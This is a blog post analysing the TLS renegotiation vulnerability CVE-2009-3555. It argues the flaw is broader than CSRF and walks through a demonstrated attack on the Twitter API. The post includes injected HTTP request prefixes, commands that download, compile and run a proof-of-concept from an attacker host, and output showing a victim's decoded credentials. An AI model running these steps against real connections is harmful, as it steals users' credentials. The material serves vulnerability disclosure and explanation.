TLS renegotiation vulnerability (CVE-2009-3555)

definitely not a full blown MITM, yet more than just a simple CSRF

UPDATE: This article was featured on The Register


Context

Marsh Ray and Steve Dispensa have recently uncovered a vulnerability in the design of TLS. Many comments and explanations have been made, and the consensus is that for HTTPS, this attack is equivalent to a CSRF, which is usually well protected against.

From IBM ISS:

Most, if not all, major web applications have implementation level protections against CSRF, such as random nonces in web forms that must be submitted along with any request. Those protection measures are effective against this new SSL man in the middle attack. Therefore, this vulnerability has minimal security impact for most websites and Internet users.

UPDATE: Tom J Cross from IBM ISS made a follow-up blog post referring to this attack.

This is about right if one considers the way an attacker injects data in the TLS session (in red) according to Marsh Ray's "X-ignore" trick:

GET /transact.php?value=evil HTTP/1.0

X-Ignore: Get / HTTP/1.1
Cookie: [...]

This is not the only possibility though. Here is another one:

POST /forum/send.php HTTP/1.0

message=GET / HTTP/1.1 [...]

Now the victim's packet is embedded in the POST data. The attacker can therefore have access to the actual packet sent by an auxiliary channel - e.g. here by reading the posted message on the forum that we assume operates on the same website.

One can see here that this is somewhat broader than a CSRF: an attacker can now have access to HTTP headers, such as the Authorization header.

A real world attack scenario: the twitter API

One can update its twitter status by using their RESTful API, e.g. with curl:

$ curl -u "user:pw" -d "status=New status" https://twitter.com/statuses/update.xml

Note that this is a POST request. Applying the previously stated idea, it is now possible to access the first 140 characters of an HTTP packet sent by a victim.

Attacker:

attacker.example.com$ wget http://perso.telecom-paristech.fr/~kurmus/ssl.c #based on the PoC published on full disclosure

attacker.example.com$ gcc -lssl ssl.c -o ssl

attacker.example.com$ ./ssl 8080 `echo -n "attacker@example.com:evilpw" |base64`

Victim:

$ curl -u "victim@example.com:securepw" -d "status=any" https://twitter.com/statuses/update.xml -p -x attacker.example.com:8080 \

# proxying the request through attacker.example.com, to simulate a MITM

Result on the attacker's twitter status:

$ echo -n dmljdGltQGV4YW1wbGUuY29tOnNlY3VyZXB3 | base64 -d

victim@example.com:securepw

Although the attacker cannot modify the contents of the data sent back by the server after the malicious status update, he can take advantage of his relaying position and drop that packet. Considering twitter will also append an authentication cookie in the reply, this is a must for the attacker.

All in all, a man in the middle is able to steal the credentials of a user authenticating himself through HTTPS to a trusted website, and CSRF protections do not apply here. Luckily, a fix should be out soon.